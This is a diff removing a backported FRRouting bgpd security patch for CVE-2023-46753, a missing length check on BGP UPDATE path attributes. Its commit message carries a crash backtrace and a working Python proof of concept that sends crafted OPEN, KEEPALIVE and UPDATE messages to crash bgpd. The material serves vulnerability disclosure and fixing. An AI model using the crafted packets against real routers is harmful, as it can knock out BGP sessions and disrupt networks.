diff options
Diffstat (limited to 'meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch')
| -rw-r--r-- | meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch | 117 |
1 files changed, 0 insertions, 117 deletions
diff --git a/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch deleted file mode 100644 index 6bf159aba8..0000000000 --- a/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch +++ /dev/null @@ -1,117 +0,0 @@ -From d8482bf011cb2b173e85b65b4bf3d5061250cdb9 Mon Sep 17 00:00:00 2001 -From: Donatas Abraitis <donatas@opensourcerouting.org> -Date: Mon, 23 Oct 2023 23:34:10 +0300 -Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE - message - -If we send a crafted BGP UPDATE message without mandatory attributes, we do -not check if the length of the path attributes is zero or not. We only check -if attr->flag is at least set or not. Imagine we send only unknown transit -attribute, then attr->flag is always 0. Also, this is true only if graceful-restart -capability is received. - -A crash: - -``` -bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) -bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 -BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting... -BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] -BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] -BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] -BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] -BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] -BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] -BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] -BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] -BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] -BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] -BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] -BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] -BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] -BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] -``` - -Sending: - -``` -import socket -import time - -OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" -b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" -b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" -b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" -b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" -b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" -b"\x80\x00\x00\x00") - -KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" -b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") - -UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.connect(('127.0.0.2', 179)) -s.send(OPEN) -data = s.recv(1024) -s.send(KEEPALIVE) -data = s.recv(1024) -s.send(UPDATE) -data = s.recv(1024) -time.sleep(1000) -s.close() -``` - -Reported-by: Iggy Frankovic <iggyfran@amazon.com> -Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org> -Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/d8482bf011cb2b173e85b65b4bf3d5061250cdb9] -CVE: CVE-2023-46753 -Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de> ---- - bgpd/bgp_attr.c | 10 ++++++---- - 1 file changed, 6 insertions(+), 4 deletions(-) - -diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c -index e7bb42a5d989..cf2dbe65b805 100644 ---- a/bgpd/bgp_attr.c -+++ b/bgpd/bgp_attr.c -@@ -3385,13 +3385,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) - } - - /* Well-known attribute check. */ --static int bgp_attr_check(struct peer *peer, struct attr *attr) -+static int bgp_attr_check(struct peer *peer, struct attr *attr, -+ bgp_size_t length) - { - uint8_t type = 0; - - /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an - * empty UPDATE. */ -- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) -+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && -+ !length) - return BGP_ATTR_PARSE_PROCEED; - - /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required -@@ -3443,7 +3445,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, - enum bgp_attr_parse_ret ret; - uint8_t flag = 0; - uint8_t type = 0; -- bgp_size_t length; -+ bgp_size_t length = 0; - uint8_t *startp, *endp; - uint8_t *attr_endp; - uint8_t seen[BGP_ATTR_BITMAP_SIZE]; -@@ -3831,7 +3833,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, - } - - /* Check all mandatory well-known attributes are present */ -- ret = bgp_attr_check(peer, attr); -+ ret = bgp_attr_check(peer, attr, length); - if (ret < 0) - goto done; - --- -2.42.1 - |